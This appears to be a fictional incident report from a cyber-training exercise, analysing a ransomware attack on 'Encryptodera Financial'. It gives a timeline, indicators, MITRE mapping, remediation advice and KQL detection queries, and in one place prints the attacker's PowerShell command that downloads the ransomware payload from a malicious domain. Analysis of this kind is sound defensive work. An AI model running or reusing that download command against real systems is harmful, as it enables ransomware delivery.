SECURITY INCIDENT REPORT

Encryptodera Financial - Ransomware Attack Analysis

CONFIDENTIAL - INTERNAL USE ONLY

Incident ID: KC7-ENC-2024-001
Report Date: March 15, 2024
Analyst: KC7 Cyber Threat Intelligence Team
Severity: **CRITICAL**

Executive Summary

A complex, hybrid intrusion impacted Encryptodera Financial involving external threat actors who gained access to internal accounts and compromised user workstations. The primary compromised account was `barry_shmelly@encryptoderafinancial.com`. This access enabled the distribution of weaponized attachments, credential harvesting, and lateral movement to obtain domain-level privileges.

Key Impact Metrics

- **306 hosts encrypted** with ransomware (.umadbro extension)
- **Sensitive IP exfiltrated:** Source code, proprietary algorithms, financial documents
- **Attack duration:** ~33 days (Jan 15 - Feb 17, 2024)
- **Ransom deployment:** February 17, 2024 at 02:30:50Z

Key Threat Actors & Entities

Barry Shmelly (barry_shmelly@encryptoderafinancial.com)

Role: Primary compromised account
Activities: Sent weaponized attachments, staged sensitive files, created password-protected archives, USB exfiltration
Internal IP: 10.10.0.1

Jane Smith ("Crypto Bruh")

Role: Suspected insider threat
Activities: Sustained high-volume uploads to FTP server 182.56.23.121, automated daily exfiltration
Tools Used: FTP client, crypto-stealer tools

Valerie Orozco (valerie_orozco@encryptoderafinancial.com)

Role: Phishing victim, credential harvesting target
Activities: Machine compromised, credential dumping via totally_not_mimikatz.exe
Impact: Used to harvest lihenry_domain_admin credentials

External Threat Actor

Source IP: 143.38.175.105
Activities: External login to Barry's account, hands-on-keyboard operations, ransomware deployment
Tools: files_go_byebye.exe, credential dumpers, remote access tools

Attack Timeline

January 15, 2024

Barry browses cybersecurity resources, downloads 7-zip binary, accesses sensitive documents, creates password-protected archives (Company_Secrets.7z, Personal_Memos.7z), copies files to USB drive (E:\SchmellyDrive\), uploads to Google Drive endpoint

February 1, 2024 - 03:59:30Z

Barry's account used to send phishing email to Robin Kirby with weaponized attachment

February 2, 2024 - 03:32:36Z

Initial reconnaissance - systeminfo command observed on 41QI-LAPTOP

February 5 - March 3, 2024

Jane Smith conducts sustained uploads to FTP server 182.56.23.121 over 27-day period (208,138 bytes total)

February 17, 2024 - 02:30:50Z

RANSOMWARE DEPLOYMENT: files_go_byebye.exe downloaded and executed

February 17, 2024 - 02:34:54Z

MASS ENCRYPTION: Ransom note appears on 306 machines, files encrypted with .umadbro extension

Technical Analysis

Initial Access

- External login to Barry's account from IP 143.38.175.105
- Local suspicious activity including sensitive document access
- Distribution of weaponized attachments (.xlsx.exe, .docx.exe) to 9+ employees

Discovery & Reconnaissance

- `systeminfo` commands for host enumeration
- `nltest /dclist:encryptoderafinancial.com` for domain controller discovery
- Active Directory reconnaissance to identify privileged accounts

Credential Theft & Privilege Escalation

- Execution of `totally_not_mimikatz.exe` on Valerie's machine
- Harvesting of domain credentials including lihenry_domain_admin
- Lateral movement through compromised accounts: Barry → Robin → Valerie → domain admin

Command & Control

```
powershell -c "Invoke-WebRequest -Uri http://notification-finance-
services.com/files_go_byebye.exe -OutFile C:\ProgramData\files_go_byebye.exe"
```

Exfiltration Channels

- **Google Drive:** https://drive.google[.]com/bashmelly/upload
- **External FTP:** 182.56.23.121 (high-volume receiver)
- **USB Storage:** E:\SchmellyDrive\ for local staging

Indicators of Compromise (IOCs)

Type	Indicator	Description
IP Address	143.38.175.105	External IP used to access Barry's account
IP Address	182.56.23.121	FTP exfiltration endpoint
Domain	notification-finance-services.com	Malware hosting domain
URL	https://drive.google[.]com/bashmelly/upload	Data exfiltration endpoint
File Hash	files_go_byebye.exe	Ransomware payload
File Hash	totally_not_mimikatz.exe	Credential dumping tool
File Hash	screenconnect_client.exe	Remote access tool
Archive	Company_Secrets.7z	Staged sensitive data (password: securePass123)
Archive	Personal_Memos.7z	Staged sensitive data (password: securePass123)
Ransom Note	YOU_GOT_CRYTOED_SO_GIMME_CRYPTO.txt	Ransomware message file

Stolen Assets

- **Source Code:** DigitalWallet_SourceCode.zip
- **Proprietary Algorithms:** Encryptodera_Proprietary_Algorithms.zip
- **Strategic Documents:** ProjectQuantumEncryptionBlueprints.pdf
- **Financial Records:** Executive compensation documents
- **M&A Intelligence:** SECRET_MergersAndAcquisitions_Strategy2025.docx
- **HR Data:** ExecutiveSalaryNegotiations.docx

MITRE ATT&CK Mapping

Tactic	Technique	Observed Behavior
Initial Access	T1566 - Phishing	Weaponized email attachments
Initial Access	T1078 - Valid Accounts	External login to Barry's account
Execution	T1059.001 - PowerShell	PowerShell download commands
Privilege Escalation	T1003 - Credential Dumping	Mimikatz execution
Discovery	T1016 - System Network Discovery	systeminfo, nltest commands
Lateral Movement	T1021 - Remote Services	Internal account compromise chain
Exfiltration	T1041 - Exfiltration Over C2	FTP and web-based data theft
Impact	T1486 - Data Encrypted for Impact	Mass ransomware deployment

Remediation & Response Recommendations

Immediate Actions (0-24 hours)

- **Isolation:** Immediately isolate Barry's workstation, Valerie's machine, Robin's machine, and Domain Controller
- **Forensics:** Acquire forensic images and preserve all logs (mail, VPN, firewall, DC, SIEM)
- **Account Security:** Disable barry_shmelly account and reset all privileged/domain admin credentials
- **Network Blocking:** Block IOC IPs and domains at perimeter and internal firewalls
- **Containment:** Identify all hosts with gpupdate /force activity and isolate to prevent further execution

Short-term Actions (1-7 days)

- **Cleanup:** Remove backdoors, remote access tools, malicious scheduled tasks
- **Recovery:** Validate and restore from clean, offline backups
- **Investigation:** Engage DFIR team for comprehensive forensic analysis

- **Legal/Compliance:** Notify legal team for breach reporting obligations

Long-term Improvements (1-6 months)

- **PAM Implementation:** Deploy privileged access management with JIT admin access
- **MFA Enforcement:** Implement phishing-resistant MFA for all admin and external access
- **Email Security:** Enhanced attachment filtering, sandboxing, and executable blocking
- **DLP Controls:** Data loss prevention for sensitive file movement and M&A documents
- **EDR Deployment:** Endpoint detection for credential dumping, lateral movement, and ransomware
- **Network Segmentation:** Isolate admin systems from user segments
- **Insider Threat Program:** Monitor large uploads, unusual archive creation, USB usage
- **Security Training:** Enhanced phishing training for privileged users

Detection Queries

KQL Hunting Queries

```
// Find hosts running systeminfo reconnaissance ProcessEvents | where
process_commandline has "systeminfo" | distinct hostname, timestamp,
process_commandline // Correlate systeminfo hosts with authentication sources
AuthenticationEvents | where hostname in (reconnaissance_hosts) | summarize
dcount(hostname) by src_ip // PowerShell downloads from malicious domain
ProcessEvents | where process_commandline has "Invoke-WebRequest" and
process_commandline has "notification-finance-services.com" | project timestamp,
hostname, process_commandline // Mass gpupdate execution (ransomware deployment)
ProcessEvents | where process_commandline has "gpupdate /force" | summarize
count() by bin(timestamp, 5m), hostname | where count_ > 10 // Large archive
creation activity FileEvents | where filename endswith ".7z" and file_size >
10000000 | project timestamp, hostname, filename, file_path, file_size
```

Lessons Learned

- **Hybrid Threat Model:** The attack combined external threat actors with potential insider assistance, demonstrating the complexity of modern threats
- **Credential Management:** Weak credential hygiene enabled lateral movement and domain compromise
- **Email Security Gaps:** Weaponized attachments bypassed existing email security controls
- **Detection Blind Spots:** Extended dwell time (33 days) indicates insufficient monitoring of insider activities
- **Backup Strategy:** Recovery depends entirely on the integrity and accessibility of offline backups

Attribution Assessment

The attack demonstrates characteristics of financially-motivated cybercriminals rather than advanced persistent threats (APT). Key indicators include:

- Use of commodity tools (Mimikatz variants, remote access tools)
- Ransomware deployment for immediate financial gain
- Opportunistic targeting rather than strategic intelligence collection
- Limited operational security measures

Confidence Level: Medium - Attribution to specific threat group requires additional intelligence correlation.

Business Impact

- **Operational:** 306 encrypted hosts causing significant service disruption
- **Financial:** Recovery costs, potential ransom payment, regulatory fines
- **Reputational:** Customer trust impact from data breach disclosure
- **Competitive:** Loss of proprietary algorithms and M&A strategy intelligence
- **Regulatory:** Potential violations of financial data protection regulations